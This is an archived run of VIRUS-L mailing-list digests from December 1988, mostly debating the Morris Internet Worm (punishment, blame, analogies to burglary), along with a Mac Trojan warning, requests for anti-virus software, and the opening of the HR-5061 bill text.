2,000 Greater & Lesser Mysteries/2,000 Greater and Lesser Mysteries.iso/computer/virus/mys00496.txt

Text File | 1994-06-10 | 607.7 KB | 14,148 lines

VIRUS-L Digest             Thursday, 1 Dec 1988         Volume 1 : Issue 27

Today's Topics:
re: followup on Internet worm
Internet Worm Punishment
Re:  followup on Internet worm

---------------------------------------------------------------------------

Date: Wed, 30 Nov 88 19:51:10 EST
From: Mark W. Eichin <[e-mail]>
Subject: re: followup on Internet worm

The anonymous FTP hole is *NOT* one of the holes used in the attack;
however, it is believed to have been discovered by Robert Morris, as
are the other bugs it exploited.
                Mark Eichin
            <[e-mail]>
        SIPB Member & Project Athena ``Watchmaker''

------------------------------

Date:    Wed, 30 Nov 88 19:38 EST
From:    "Scott P Leslie" <[e-mail]>
Subject: Internet Worm Punishment

Hi,
   If your going after analogies, then when the robber breaks into
your house but doesn't steal or destroy anything, then he is charged
with breaking and entering.  This is basically what I think Morris
should be charged with, and there are appropriate laws that deal with
that.  He appears to be guilty and will no doubt be found such, but he
doesn't deserve to have his life ruined.  Community service or some
other such lengthy (but not costly to society) should be given.  .

Scott P. Leslie (UNCSPL@UNC)
Note: The University of North Carolina doesn't support my comments!
Run! Or they will catch you..

------------------------------

Date: Wed, 30 Nov 88 21:32:07 EST
From: Russ Nelson <[e-mail]>
Subject: Re:  followup on Internet worm

No, it's the ftpd bug.  If you entered a long enough password, you
could get a shell with *root* privileges.

- -russ

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Thursday, 1 Dec 1988         Volume 1 : Issue 28

Today's Topics:
Request for Apple // anti-virus software (Apple //)
Internet Worm report distribution
lock on my door

---------------------------------------------------------------------------

Date: Thu, 1 Dec 88 08:40 EST
From: "Kevin O. Lepard" <[e-mail]>
Subject: Request for Apple // anti-virus software (Apple //)


I've looked at the anti-virus programs available from this list, and
they all seem to be Mac and PC programs.  Are there any available for
the Apple // that someone could post?  I know that // users such (like
me) are rare in the higher education world, but there are several
viruses for the Apple //s out and I know a bunch of primary and
secondary ed. people who would like to seem some anti-viral programs
for their machines.

Anyone?  Or am I alone here?

Kevin Lepard
Bitnet:  [e-mail]

------------------------------

Date: Thu, 1 Dec 1988 9:46:06 EST
From: Ken van Wyk <[e-mail]>
Subject: Internet Worm report distribution

Well, I'm very convinced now that interest in the Internet Worm has
not died, judging from the number of people who've requested copies of
Gene Spafford's report.  There are still a couple of problems, though:

1) The file is too big to distribute in one piece via BITNET.  At
least with any degree of reliability.  Besides, it would be rude, and
a senseless overload of the net to send out all the copies via BITNET.

2) The file is in PostScript, and I really can't be printing copies on
our PS printer and mailing them out.

I've had one very generous offer to make the file available via
anonymous FTP (thanks Les!), and that will help out for all the people
with Internet access.  My first thought was that people with Internet
access would be the only ones who would want the paper, but I was
wrong.  Nonetheless, anyone with Internet access can anonymous FTP the
file from pine.circa.ufl.edu (IP # 128.227.128.55).  The file's name
is tr823.ps.

Otto Stolz recommended that I make it available via the Postal Service
to anyone who send a disk and Self Addressed Stamped Envelope to me,
he even offerred to supply the same service to anyone in Europe
(thanks Otto!).  No problem; anyone without Internet access who wants
the PostScript file can send me a 360k or 1.2M 5 1/4" (DOS) disk with
a self addressed stamped envelope, and I'll be glad to mail out the
PostScript file.  Anyone who wants this, please send me e-mail
([e-mail] or [e-mail]) requesting my US
mail address.

Finally, a problem still remains for people without access to a
PostScript printer.  I don't have a solution for this yet,
unfortunately, but I'm wide open to suggestions.

It should be noted that Gene Spafford's distribution policy is as
follows:  "Permission is hereby granted to make copis of this work,
without charge, solely for the purposes of instruction and research.
Any such copies must include a copy of this title page and copyright
notice.  Any other reproduction, publication, or use is strictly
prohibited without express written permission."


Ken

------------------------------

Date: Thu, 1 Dec 88 10:11:47 CDT
From: Len Levine <[e-mail]>
Subject: lock on my door

>>                                                    ... For example, it
>>is a fact that the average lock on the entrance to the average American
>>home can be picked in thirty seconds or less.  However, you won't find
>>any robber arguing that it was the homeowner's fault that he didn't have
>>a better lock on the door!
>
>Even though they probably should have.  Sincerely!

No!  I choose to have open windows on my house and doors that can be
easily opened and closed.  To argue that I should live in a bank vault
to avoid the thugs is wrong.  I should live as I choose, and if a thug
enters and robs, or just enters, he or she is at fault and should be
delt with.  If my insurance goes up, that is my problem, but your
right to walk in because I have installed poor or no locks is not
granted.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 2 Dec 1988          Volume 1 : Issue 29

Today's Topics:
Internet Worm Report in the UK
Is time money? (Internet Worm)
Final Call for Survey Responses
RE: Attitude of Alvi brothers (PC Brain virus)
computer virus institute
Choice of crypto keys
RE: James Mathiesen's "Ethics of a worm" (Internet Worm)
Internet Worm (will it ever end :-)

---------------------------------------------------------------------------

Date:     1-DEC-1988 10:49:07 GMT
From:     [e-mail]
Subject:  Internet Worm Report in the UK


It would make sense to have just ONE copy of the Internet Worm Report sent
across the ocean blue to this fair isle. If anyone already has a copy,
let me know. Otherwise if someone would be kind enough to chop it into
bite-size chunks small enough for BITNET to digest and mail it to me (I can't
FTP from here) I'd be prepared to mail it to people on JANET (the British
"Joint Academic NETwork").
Please mail me first, to make sure it can get through.

      cheers,

               Mike

* Mike Salmon,                 Phone [phone] x2875   Time GMT           *
* Climatic Research Unit,      JANET [e-mail]865   UUCP _not_ via UKC *
* University of East Anglia,  BITNET [e-mail]  BIX msalmon       *
* Norwich, Norfolk,             ARPA [e-mail]    *
* United Kingdom           Elsewhere [e-mail]            *
*  -  -  -  -  "How far can you comfortably spit a mail gateway?" -  -  -  -  *

------------------------------

Date:    Thu,  1 Dec 88 19:57:48 CST
From:    Richard G Larson <U09254@UICVM>
Subject: Is time money? (Internet Worm)

Alan T. Krantz asks:
> Would a person (or persons) who was detained (or put to work) during
> the Virus attack lost XXX time (would have been doing XXX time of
> productive work)?

I have up until now just reading what goes by on this list; this makes
me ask the question: does all time belong to society (Society?)?  Is
not a person entitled not to have his time wasted?  Would the same
argument apply to increasing the number of hours of work per day by
factory workers without an increase in pay?  (Should we ask what
productive work they would have been doing in their off time?)

------------------------------

Date:         Thu, 01 Dec 88 21:03:42 EST
From:         Ron Dawson <053330@UOTTAWA>
Subject:      Final Call for Survey Responses

Hello,

If anyone is still interested in responding to the survey, please try
and send your responses to 053330@UOTTAWA by December 3rd.

Regarding Martin's comments about questions 4-10, I do not see a real
problem.  The purpose is to determine how people perceive themselves,
not how I would perceive them.  Whether they are really an 'EXPERT' is
another question altogether.

The questions that I wish I could change are 22 and 23, but I will
speak more on this when I send our summarized results to the list.

So, once again, thank you for your cooperation.

- - Ron Dawson
  Systems Science
  University of Ottawa
  [e-mail]

------------------------------

Date: Thu, 01 Dec 88 21:36:45 CST
From: C482529@UMCVMB
Subject: RE: Attitude of Alvi brothers (PC Brain virus)

Stephen Tihor <[e-mail]> writes:
>... The story there was that
>Alvi sold bootlegged copies of American Software since there is no
>software copyright in Pakistan.  But in a moral act when a foreigner
>bought a copy planning to take it back to the States or the EEC (he
>assumed) where it would be illegal he have him a virus infected copy
>since that was stealing the software.  A very legal attitude.

Perhaps, but what about perfectly innocent computer users who may
be infected when the virus spreads?  These people have nothing to
do with the original 'crime', which Alvi took upon himself to 'punish.'
A more correct way to do this would be to modify the Lotus 1-2-3,
WordStar, whatever, so that the program itself is subtly malicious, but
*not* so that it would copy this maliciousness around...

- -tony
[e-mail]
[e-mail]

------------------------------

Date: Thu, 1 Dec 88 21:08:22 CDT
From: Len Levine <[e-mail]>
Subject: computer virus institute

There has been some discussion in this forum of the computer virus
institute.  Recently I sent them some mail and got on their mailing
list, their letterhead states that the address is:

The International Computer Virus Institute
3030 Bridgeway Boulevard
Sausalito, CA 94965
[phone]  FAX [phone]

They have prepared a "Mission Statement" which, in my opinion is about
what one might expect such a group to state.  One item (#8) in their
list states:

"Make available immediately a video program and a fact sheet to
motivate all computer users to take virus infections seriously and
adopt appropriate defensive actions."

good idea.

The international panel of advisors established by this group consists
of experts from universities.  I am currently one of thier experts.  I
do not believe that the press release that I have a draft of is to be
made public yet, but it contains the names of several University
faculty who are prepared to talk, advise etc. about viruses.

With luck and careful editing a group like this can do some good.  I
will keep you informed of their actions as they occur.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

------------------------------

Date:  Wed, 30 Nov 88 18:08 EST
From:  [e-mail]
Subject:  Choice of crypto keys

Mitch asks (of L. Kiem):

>Now forgive my possible ignorance, but it seems to me that if a  virus
>could  bypass an encryption  algorithm, the key used  wouldn't matter.

It is a desirable, but not necessary, property of an encryption
algorithm that its strength be independent of the key chosen.  Even the
DES has eight weak keys (out of 2**56).

William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

------------------------------

Date:  Tue, 22 Nov 88 19:55 EST
From:  Lynn R Grant <[e-mail]>
Subject:  RE: James Mathiesen's "Ethics of a worm" (Internet Worm)

Suppose you went out one night, leaving your back door unlocked.  A
good samaritan who was walking through the neighborhood, for some
reason checking doorknobs, noticed that your door was not locked.
Concerned that a theif might discover your oversight and steal all
your stuff, she decided to teach you a lesson, so you would remember
to lock your door in the future.  What she did is take your garbage
cans (or someone else's; I don't think it makes a difference) and dump
them all over your floors.

Upoon returning home and discovering what had been done to your house,
you would probably be irate because
   1) You resented the fact that someone had inflicted this anti-social
      behavior upon you,
   2) You worried about what could have happened had the culprit been a
      real thief, rather than a messy good samaritan,
   3) You had to spend a bunch of time cleaning up the garbage, and
   4) You had to pay someone to clean your carpets, and
   5) You had to cancel a dinner party scheduled for the next day, since
      the house was in no state to entertain in.

I think this discribes a non-computer situation (the kind of situation
that laws and ethics are better at dealing with, at least so far) that
parallels that of the RTM worm (assuming that RTM, or whoever the
courts decide is responsible for the worm, was trying to teach us a
lesson, rather than just breaking the network "because it was there.")

Now suppose you discovered who the G.S.  was, perhaps because she
bragged about the lesson she had taught you, or maybe because someone
saw her performing her act.  You told the police, who arrested her and
brought her to trial.  I am no lawyer, but here is what I think a
judge or jury would probably decide:

  1) and 2) fall into the category of mental anguish; you have not actually
  been harmed, you just worried a lot.  Probably the G.S. would either get
  a short jail term (<30 days, maybe serving only on weekends) or have to
  perform community service for a while.  The idea is that there has to
  be some punishment, to remind the G.S. that her behavior will not be
  tolerated, but it's not really a big thing, so no long sentence is
  in order.  ("Let the punishment fit the crime.")

  3) and 4) cost you some effort and money (even if you did the work youself,
  there's lost opportunity cost), so the G.S. would probably have to reimburse
  you for your carpet bills, and maybe your own effort at some hourly wage.

  5) would probably fall into the same category as 1) and 2).  However, if
  the party you had to cancel was a business event, crucial to winning a
  large contract, I'm not sure what the courts would say.  If they did
  extract a penalty, it would probably be a monetary one.

So, returning from the analogy to the case at hand, I think it would be
reasonable for RTM (who is innocent till proven guilty) or whoever the
culprit turns out to be to perform community service, perhaps in a way
that doesn't make it easy for him to do more virus experiments, in case
he goes sour again, and to pay for the monetary costs of his actions.

I do not feel we should thank him for not trashing our data, and I do
not think he should be praised for pointing out our security flaws by
breaking into the system.  This sort of behavior is not tolerated in
non-computer areas of society; why should computers be different.  Try
walking into a bank with a fake gun and telling them it is a stick-up,
or pretend hijacking a plane.  I believe you will be treated much worse
by the authorities than what I am proposing for RTM, or whoever.

     Lynn R Grant
     Technical Consultant
     Computer Associates International, Inc.

My opinions are my own, and not neccessarily those of my employer.

                      Thanx,
                         Lynn

------------------------------

Date: Fri, 2 Dec 88 08:22 EST
From: Mitchel Ludwig <[e-mail]>
Subject: Internet Worm (will it ever end :-)

    Ok, guys, forgive me if this has been done before, but I've
got what I think to be an interesting question :

    Once  it  was determined that   the only bad   side  effect of
Morris's worm  was that it  propagated itself  into  infinity, causing
host systems some problems, would it have been possible to add code to
the program?  What I mean is would it have been possible to add to the
original source a section of code that would :

    a) Check to see if the sendmail bug was present on the host
       system and if so, fix it.

    b) Mail itself to all the sites on the hosts SYSTEMS list.

    c) Remove itself from the host system.

    In effect, wouldn't this have eliminated the problem by use of
the same bugs which allowed it in the first place?  I ask this because
a  friend of mine (who is  a pre-med  student) compared  it to using a
disease to cure itself.  In other words, using a  less virulent strain
of a virus to be used as  a way of  building up  ones immune system to
that very virus.   Sounded  reasonable so I   ask ya, is it  possible?
Also, if this has been proposed  before, can  someone point me  at the
date ranges of the discussion so  I can grab  the archives?  My friend
and I will be most appreciative.


            Danka Dude.

            Mitch

____________     _____/--\_____
\______  ___)   (_   _    _____)    UUCP   : lehi3b15!rastro!mfl
     __\ \_______/  / `--'          BITnet : [e-mail]
     )Space for Rent`|=(            INTnet : [e-mail]
     \--------------'
Disclaimer?  I don't need one.  No body takes me seriously anyway...

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Friday, 2 Dec 1988          Volume 1 : Issue 30

Today's Topics:
Font Fooler (Mac)
Re: Font Fooler (Mac)
RE: Various anti-virus software
genetic engineering of computer viruses
Is Morris the Only Culpable Party?

---------------------------------------------------------------------------

Date:         Fri, 02 Dec 88 09:17:19 EST
From:         Jim Kenyon <[e-mail]>
Subject:      Font Fooler (Mac)

We have had two people that have been give a programme called
Font Fooler (Mac) that was supposed to be a neat utility for playing
with Fonts.  When run, (after checking for the usual little critters)
the programme finds Font files and trashes them.

Anyone else seen this little gem?

Jim Kenyon (TGHVET@UTORONTO
Director, Veterinary Services
Toronto General Hospital
Lecturer, Department of Anaesthesia
University of Toronto

------------------------------

Date:         Fri, 02 Dec 88 10:07:55 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: Font Fooler (Mac)

>From:         Jim Kenyon <[e-mail]>
>Subject:      Font Fooler (Mac)

>We have had two people that have been give a programme called
>Font Fooler ... When run, (after checking for the usual little critters)
>the programme finds Font files and trashes them.

This sounds like a local Trojan. We haven't had any reports of it around
here. I'll forward this to the INFO-MAC list -- if I get any responses I'll
post them back.

- --- Joe M.

[Ed. Thanks for the prompt reply, Joe!  For those who may be wondering
how we could get a query and an answer to the query in the same
digest, I forwarded the message to Joe when I received it, as Joe has
more Mac experience than I (read: any Mac experience at all) and has
graciously offerred to help out with Mac problems whenever possible.
Thank you for your time, Joe!]

------------------------------

Date: Fri, 2 Dec 88 10:58:48 est
From: [e-mail]
Subject: RE: Various anti-virus software

I'd also like to hear something about anti-virus software for Sun Work
Stations.
       Pat Reedy

------------------------------

Date:     Fri,  2 Dec 88 10:29 CDT
From:     David W. Richardson <C044DWR@UTARLG>
Subject:  genetic engineering of computer viruses

As Mitchel Ludwig ([e-mail]) pointed out, a virus
COULD be used to eradicate another virus.  It could also be used for
many other things, such as killing off worms, trojan horses, etc.  It
could even be used to update system files or software on PCs (or
mainframes, or whatever).

(putting on flame-retardent)
But if I EVER HEAR OF ANYONE DOING THIS TO MY SYSTEM WITHOUT MY
PERMISSION, I WILL CALL THE APPROPRIATE AUTHORITIES.
(removing flame-retardent)

If the virus were nice enough to alert you of what it was doing AND
give you a chance to stop it in its tracks, that MIGHT be ok, provided
it also had an auto-eradication option and didn't interfere in the use
of my computer in any way.

Any comments?  Direct useful stuff to the list, flames or trivial
stuff to me.

David Richardson
bitnet c044dwr@utarlg  (this address will change in early January, do a
                        REVEIW from listserv@lehiibm1 around 1/15/89
                        for my new address)
phonenet:[phone]
SlowNet: PO 192053 Arlington, TX  76013

------------------------------

Date: 2 December 1988, 13:53:29 EST
From: John A. Pershing Jr.                           PERSHNG  at YKTVMH
Subject: Is Morris the Only Culpable Party?

I am somewhat surprised at the lack of comments on the culpability of
(1) the programmer who implemented the gaping trap door in the mailer
which RTM exploited, and/or (2) the organizations that
sold/distributed this software.

Is Morris the only person to blame for the debacle?

      John Pershing
      IBM Research, Yorktown Heights

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 5 Dec 1988          Volume 1 : Issue 31

Today's Topics:
The Virus
is morris the only ...
Morris some more
Re: Low level format (PC)
Re: Response to Morris comments

---------------------------------------------------------------------------

Date:         Mon, 28 Nov 88 11:29:52 EST
From:         Dan Bornstein <ST702174@BROWNVM>
Subject:      The Virus

 ...forwarded from WEIRD-L.

- ----------------------------Original message----------------------------

                              The Virus

     No installation had been hit by a computer virus for some time.  By
God, they had all taken enough precautions since the last one a few
years ago.  Suddenly, however, people started noticing that the
calculations weren't getting done quite so fast and started wondering...
     Everyone suddenly seemed to be utterly concerned; everyone who even
seldomly used a computer.  There was a growing interest in learning how
to program so you could "disinfect my computer" "just in case."  Even
secretaries using computers only for word processing got involved.  And
yet, things still seemed to slow down.
     Career programmers were taking longer to complete their projects,
essay-writers as well. "Just making sure I'm not infected; that's all."
     Eventually, even the ATM machines started slowing down.  News
broadcasters had to wait for their slow-moving teleprompters to catch up.
Finally, prime time ground to a halt as people were hypnotized by the
flickering words, ever faster, as more and more people added to it, in
dozens of languages, in an endless feedback loop:


"Make this appear on somebody else's screen."

------------------------------

Date: Fri, 2 Dec 88 20:12:22 CDT
From: Len Levine <[e-mail]>
Subject: is morris the only ...

>John A. Pershing Jr. states:

>I am somewhat surprised at the lack of comments on the culpability of
>(1) the programmer who implemented the gaping trap door in the mailer
>which RTM exploited, and/or (2) the organizations that
>sold/distributed this software.

>Is Morris the only person to blame for the debacle?

I had a chance to speak at length with a system programmer at a
meeting of the Computer Professionals for Social Responsibility
meeting about this.  I quoted the comment from the author of the trap
about its use in "avoiding certain managerial barriers" (not a direct
quote, but about right).  His response was that the trap was regularly
used by him in regaining control for users who forgot or lost the
password for root and thus had lost access to their own systems.

No arguments on my part were of any use at all, not a suggestion that
more than one root level account be installed with one password known
only by him, his point was that such traps are just plain the only way
to regain control after such a failure.

I judge him as totally wrong.  The use of a known non-passworded
access port to a dial-in (or worse) system when other approaches are
feasible (and they are) is folly.

This does not mean that morris had the right to penetrate production
systems via this trap.  It does mean that others have responsibility
too.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

------------------------------

Date:     Fri, 2 Dec 88 23:52:38 EST
From:     Jefferson Ogata (me!) <OGATA@UMDD>
Subject:  Morris some more

The analogy of breaking in and dumping trash on the floor of your house
is sorely lacking in a couple of ways.

One is that the house should be a business office where a number of
people work every day, and make a certain amount of money doing it.
The computer systems infected by the worm were not just places where
people go to relax after a long day.  The computer systems were an
essential element of the BUSINESS of those people.  By trashing
their office the G.S. puts those people out of work for a day.  And
while the criminal penalty still may not be high, imagine the cost
of putting tens of thousands of people out of work for a day.

Another weak spot is the whole idea of regarding Morris as a "good
Samaritan", out to inform the user of the foolishness of his leaving
the back door unlocked.  Certainly this is NOT what Morris intended
to do.


Somebody else asked about the culpability of the writer of the debug
feature of sendmail.  I think it's quite clear that this culpability
is nil.  The debug feature was there for a reason; clearly it should
not have been left on after testing, but I'm sure it came in handy
during testing.  Suppose you order a locking doorknob assembly from
some company.  It comes in an unlocked state.  You install the new
lock, but leave the office without actually locking it.  A burglar
steals your pencil sharpener.  Should we blame the designer of the
doorknob?

- - Jeff Ogata

------------------------------

Date:         Sat, 03 Dec 88 10:58:37 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: Low level format (PC)

     How do I get a program that will do a lowest level scrubb
and reformat on my pc/xt hard disk?

     Homer  CTM@CORNELLC

------------------------------

Date:         Sat, 03 Dec 88 11:08:31 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: Response to Morris comments

     In reply to Peter Scott's comments about my comments on
Mr. Morris.

     Amends in no way assumes an eye for an eye.  Morris can
not possibly 'pay-back' for all the 'damage'.  He can however
make amends.  Amends is what ever is necessary fo people to
be glad that he exists and are willing and eager to have him
have the free run of the land again.

     For example, if Morris were to discover or prove some
amazing computer theorem that immediately allowed people
to close every security hole in every computer everywhere,
then surely people would forgive Morris the untold man hours
he wasted, because he just came up with a way of saving
them 1000*untold manhours in the future.

     Surely intelligent and compassionate people can figure
out what is needed and wanted and sufficient for Morris
to re-justify his existance to us.

     You know even if he 'payed back' the lost man hours
and money, that would not necessarily be enough for anyone
to really like him or want him around.  Amends means more
than just fixing the toy you broke.  That just sets you even,
which does not set you even at all.

     Amends is a healing relationship where in both parties are
agree its OK it all happened.  For example if
Morris had never crashed the internet, he would never have had
to make amends and maybe that amazing computer theorem would never
have been developed, so the people would still be at risk in their
futures.

     Resolution always comes because things are made BETTER because the
bad thing happened.  Recovering even-ness, things as they were, is
not sufficient.   The bad memories still remain.

     Of course I am not implying that good things only come from
bad things, or that we should MAKE bad things occur so that good
things can come from them.  I am implying that SOMETIMES good
things occur because bad things have occured first and the resolved
and healed state is better and more secure than before.

     As for nailing Morris to the wall, well if a person is a total
ingrate and unredeemable in all aspects, then hanging him out to
dry for all to see may be the most productive thing we can do
with his body.  But in general, breaking someone elses toy
because they broke yours leads to a doubly decreased GNP and
is a sin against everbody.

     Of course as a deterrent through example, breaking the toys
of those that broke yours acts to prevent the GNP from falling
futher by dissuading others from similar irresponsible acts.
But AMENDS properly done causes a resurgence in the GNP over and
above the original course of operation and CAN cause a resurgence
above and beyond WHAT IS POSSIBLE in the normal course of operation.

     It is the wise fool who invests in such activity.

     Homer Wilson Smith

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 5 Dec 1988          Volume 1 : Issue 32

Today's Topics:
Re: Morris's intent
RE: More on Morris
FYI: SECURITY has returned
Vested interest in viruses?
Re:  Lock on my door
Paper virus hits the classifieds

---------------------------------------------------------------------------

Date:         Sat, 03 Dec 88 12:23:23 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: Morris's intent

     I would like to remind everyone that Mir system was flawed.

     Homer

[Ed. In Gene Spafford's Internet Worm report, he raises some very
interesting possibilities as to the author(s)'s identity.  The code
appears quite inconsistant, ranging from highly optimized
professionally written code (e.g., the crypt function works 9 times
faster than the BSD version") to amateurish code with multiple
(unused) global variables and subroutines that never get called.
Since Morris has not made a public statement acknowledging that he was
the (sole) author of the worm, to the best of my knowledge, is it safe
to even assume that he did (all) the work?]

------------------------------

Date: Sat, 3 Dec 88 13:51 EST
From: Chris Bracy <[e-mail]>
Subject: RE: More on Morris

>>>                                                    ... For example, it
>>>is a fact that the average lock on the entrance to the average American
>>>home can be picked in thirty seconds or less.  However, you won't find
>>>any should have.  Sincerely!
>
>No!  I choose to have open windows on my house and doors that can be
>easily opened and closed.  To argue that I should live in a bank vault
>to avoid the thugs is wrong.  I should live as I choose, and if a thug
>enters and robs, or just enters, he or she is at fault and should be
>delt with.  If my insurance goes up, that is my problem, but your
>right to walk in because I have installed poor or no locks is not
>granted.

But if the house would be in a mall or other high pedrestrian
district, people are bound to walk in.  This is a better analogy to
the traffic on internet.  Granted, then it would be by accident but
the house analogy isn't quite right.

Chris.

*==============================*======================================*
|       Chris A. Bracy         |         Student Consultant           |
|       [phone]         |  Lehigh University Computing Center  |
|  [e-mail]  |    Fairchild Martindale Bldg.==========================*

------------------------------

Date: Sat, 3 Dec 88 14:50 EST
From: Jim Shaffer <[e-mail]>
Subject: FYI: SECURITY has returned

In the light of the recent Internet problems (to put it lightly), I thought
that people on this list might be interested in another list which just
re-activated.

- --Jim

- -----------------------------------------------------------------------------
-
-

From:   IN%"[e-mail]"  3-DEC-1988 07:54:54.00
Subj:   The List Returns

Sender: SECURITY Digest <[e-mail]>
Reply-to: [e-mail]

Yes, you heard it correctly; the Security list is being reactivated
after a long vacation in limbo.  The vax it was being distributed from
got sold off as a doorstop and replaced with this Sun 4/280 [an even
better personal workstation!].

[*lots* of stuff deleted]

Bitnet recipients can add themselves by sending a message to
LISTSERV@UGA containing

    SUBm aim.rutgers.edu to
pyrite.rutgers.edu, if you happened to hear about it via outdated
material.  If you are on a unix site that receives the misc.security
newsgroup, please read the material from there and save network
bandwidth, unless you have some special requirement.  This list is
gatewayed to the newsgroup.

    *Hobbit*
    One of several jacks-of-all-trades for LCS at Rutgers
    [e-mail]

------------------------------

Date:         Sat, 03 Dec 88 14:56:26 EST
From:         "Homer W. Smith" <CTM@CORNELLC>
Subject:      Vested interest in viruses?
To:           virus list <virus-l@lehiibm1>,
              ethics-l@polygraph

     Wouldn't it be in the interests of the people who SELL
anti virus software to INVENT and SPREAD viruses so that a demand
would be created for their own software?  Seems like this is
bound to happen.

     Homer

------------------------------

Date:     Sun, 4 Dec 88 04:32:42 MST
From:     fletch
- ->>home can be picked in thirty seconds or less.  However, you won't find
- ->>any robber arguing that it was the homeowner's fault that he didn't have
- ->>a better lock on the door!
- ->
- ->Even though they probably should have.  Sincerely!
- -
- -No!  I choose to have open windows on my house and doors that can be
- -easily opened and closed.  To argue that I should live in a bank vault
- -to avoid the thugs is wrong.  I should live as I choose, and if a thug
- -enters and robs, or just enters, he or she is at fault and should be
- -delt with.  If my insurance goes up, that is my problem, but your
- -right to walk in because I have installed poor or no locks is not
- -granted.

    We all *should* live as we choose.  In reality, criminals deprive us
daily of things ranging from those that will never be missed to those
that are irreplaceable.  I dealt with this by providing superior safeguards
where appropriate.  I hated it.  I also hate rude "gotcha's" every bielong or are welcome.

+-----------------------------------------------------------------------------+
! Walter Reid Fletcher, WB7CJO          Bitnet:  FLETCHER@UWYO                !
! Vax Facility Manager                           FLETCHER%LODE@UWYO           !
! Department of Geology and Geophysics           FLETCHER%MOHO@UWYO           !
! University of Wyoming                +--------------------------------------+
! Laramie,  WY   82071  1-307-766-6227 ! The aerielly locomotive fowl that    !
!                                      ! exhibits reduced duration hesitation !
! Internet:  [e-mail]  ! parameters must realize an enhanced  !
!                                      ! worm procuring scenario.             !
+--------------------------------------+--------------------------------------+

------------------------------

Date:  Sun, 4 Dec 88 16:27 EST
From:  Lynn R Grant <[e-mail]>
Subject:  Paper virus hits the classifieds

The Rethe
Friday, December 3, 1988 edition:

   I'M THE PERSONALS Virus.  Please type up an exact copy
   of me and send it in.

I trust the editors of The Reader will limit the spread of this one.

Lynn R.  Grant Technical Consultant Computer Associates International,
Inc.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 5 Dec 1988          Volume 1 : Issue 33

Today's Topics:
Media (virus) humor vs. disinformation
RE: prosecution of Mr. Morris
Computer Virus Eradication Act of 1988
Morris and the worm
Internet Worm report available in ASCII format now
Virus Conference (Arlington, Virginia)

---------------------------------------------------------------------------

Date: Mon, 5 Dec 1988 9:41:18 EST
From: Ken van Wyk <[e-mail]>
Subject: Media (virus) humor vs. disinformation

This weekend, a friend of mine gave me some political cartoons that he
had found in some publications (I don't know which ones).  The
cartoons were somewhat amusing, but certainly showed that there must
still be quite a lot of confusion in the media as to what a virus even
is.  For example, two robots (which beared no resemblance to, say, a
PUMA robot...) were shown - one says to the other, "Oh, I'll be ok,
it's just a virus that I picked up from a computer."  In another, a
military defense system is shown with a large screen saying something
like:

WARNING: INCOMING MISSILES
TARGET:  MIX EGG WHITES UNTIL FLUFFY

All the while, two generals are saying, "Must be a virus".  (This
isn't verbatim, but that's the jist of it.)  Also, in a third cartoon,
a computer operator is saying something like, "the vote tallying
computer is infected by a virus, we'll have to hold the election over
again".

My reaction - Oh no.

Ken

------------------------------

Date: Mon, 5 Dec 88 08:18 CDT
From: [e-mail]
Subject: RE: prosecution of Mr. Morris

On the subject of the prosecution of Mr. Morris, and virus
perpetrators in general, a lot has been said regarding the man-hours
required to clean up the mess, and equate that to a dollar cost.
However, nobody has rationalized that equation.  In other words, would
the system maintainers have been doing if they hadn't been getting rid
of the worm?  What was the actual value of computer time lost?  If
schedules were slipped due to computer unavailability, what was the
cost associated with that?  Who were the real money losers?  Granted,
any way you slice the pie, the U.S. government is probably going to
come out the biggest loser, whether it's due to government employees
cleaning up a government owned computer, or contractor employees doing
the same on a cost plus contract.  However, I feel the calculation of
the actual dollars lost may be a lot more elusive than simply
multiplying dollars by hours, and in the Morris case could be much
larger or much smaller than the $20 million estimation being bandied
about.

Malcolm Petcher
Texas Instruments, Inc.
"The opinions are my own.  The facts are gospel."

------------------------------

Date: Mon, 5 Dec 88 11:11:06 EST
From: Don Alvarez <[e-mail]>
Subject: Computer Virus Eradication Act of 1988

    I just received a copy of HR-5061, a new bill being introduced
    in the House by Wally Herger (R-CA) and Robert Carr (D-Mich.).
    The text of the bill is included below (see disclaimer).

    It sounds to me like there are some subscribers to VIRUS-L
    who's background is more criminal law than computer science,
    perhaps some of you could help the rest of us out with a little
    commentary.  Would this bill be helpful to you?  Do you think
    you would be able to get a conviction with it?  Do you think
    you would be able to recover your damages with it (and how would
    you go about defining those damages if you were to use the law)?

    If people are interested in sending their comments to the
    authors, I include the name and address of the legislative
    aide who has been working on this bill.  If people would like
    to e-mail their comments, you can send them to me and I will
    mail them to him in a packet (be sure to include your name and
    normal postal mail adress, as congress isn't on the net).

                    Happy trails,
                        Don Alvarez
                    [e-mail]


- ------Start of Bill

100th Congress 2D Session                                     H.R. 5061
To amend title 18, United States Code, to provide penalties for persons
interfering with the operations of computers through the use of programs
containing hidden commands that can cause harm, and for other purposes.

IN THE HOUSE OF REPRESENTATIVES                           July 14, 1988
